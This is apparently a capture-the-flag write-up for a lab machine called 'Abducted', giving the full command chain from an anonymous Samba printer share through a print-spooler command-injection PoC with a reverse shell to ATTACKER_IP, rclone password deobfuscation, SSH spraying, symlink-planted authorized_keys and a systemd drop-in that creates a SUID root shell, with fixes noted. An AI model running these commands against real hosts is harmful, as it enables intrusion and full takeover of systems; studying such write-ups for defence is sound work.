Abducted
Summary
The Linux host abducted ($TARGET) was fully compromised by chaining four weaknesses. An anonymous-writable Samba printer share (HP-Reception) allowed me to submit a crafted print job that triggered CVE-2026-4480, a print-spooler command-injection flaw, landing a shell as nobody. That shell revealed a world-readable rclone backup config whose password — protected only by rclone's reversible AES obfuscation — was decrypted to [REDACTED: recovered credential] in Python using the publicly documented static key.
Spraying that password over SSH authenticated as user scott (user.txt). Scott had write access to the transfer SMB share; by planting a symlink inside it pointing to marcus's home directory, an SSH public key was written into marcus's authorized_keys through the share, achieving lateral movement. Marcus was a member of the operators group, which had write access to the systemd drop-in directory for the smbd service.
An ExecStartPre directive was injected there to copy /bin/bash to a SUID-root binary; restarting smbd ran the hook as root, and /tmp/rootbash -p produced a root shell (root.txt).
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
smbclient -N -L //$TARGETrpcclient -U '' -N $TARGET -c 'enumdomusers'nxc smb $TARGET -u svc_infra -p '[REDACTED: recovered credential]' --sharesFixDisable anonymous SMB access and null-session RPC bindsCritical
Exact commands 4
nc -lvnp 4444git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC && cd CVE-2026-4480-PoCpython3 exploit.py $TARGET $ATTACKER_IP 4444 -P HP-Receptionid; hostname; find / -name user.txt -type f 2>/dev/null | head -n 10FixApply the vendor patch for CVE-2026-4480 and restrict print-job submissionCritical
Exact commands 2
cat /opt/offsite-backup/rclone.conf /opt/offsite-backup/sync.shpython3 rclone_deobscure.py '[REDACTED: recovered credential]'FixSecure rclone config permissions and replace obfuscated passwords with proper secrets managementHigh
Exact commands 2
nxc ssh $TARGET -u scott marcus svc-backup -p '[REDACTED: recovered credential]' --continue-on-successsshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null scott@$TARGET 'cat /home/scott/user.txt'Exact commands 4
ssh-keygen -t ed25519 -f /tmp/marcus_key -N ''sshpass -p '[REDACTED: recovered credential]' ssh scott@$TARGET 'ln -sfn /home/marcus /srv/transfer/marcus_home'smbclient //$TARGET/transfer -N -c 'mkdir marcus_home/.ssh; put /tmp/marcus_key.pub marcus_home/.ssh/authorized_keys'ssh -i /tmp/marcus_key -o StrictHostKeyChecking=no marcus@$TARGET 'id; groups'FixDisable SMB symlink following to prevent share path traversal writesHigh
Exact commands 4
find /etc/systemd/system -type f -writable 2>/dev/nullOV=$(printf '%s\n' '[Service]' 'ExecStartPre=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' | base64 -w0); ssh -i /tmp/marcus_key -o StrictHostKeyChecking=no marcus@$TARGET "mkdir -p /etc/systemd/system/smbd.service.d; echo $OV | base64 -d > /etc/systemd/system/smbd.service.d/override.conf"ssh -i /tmp/marcus_key marcus@$TARGET 'systemctl daemon-reload && systemctl restart smbd'ssh -i /tmp/marcus_key marcus@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'FixRemove unprivileged group write access to systemd service drop-in directoriesCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.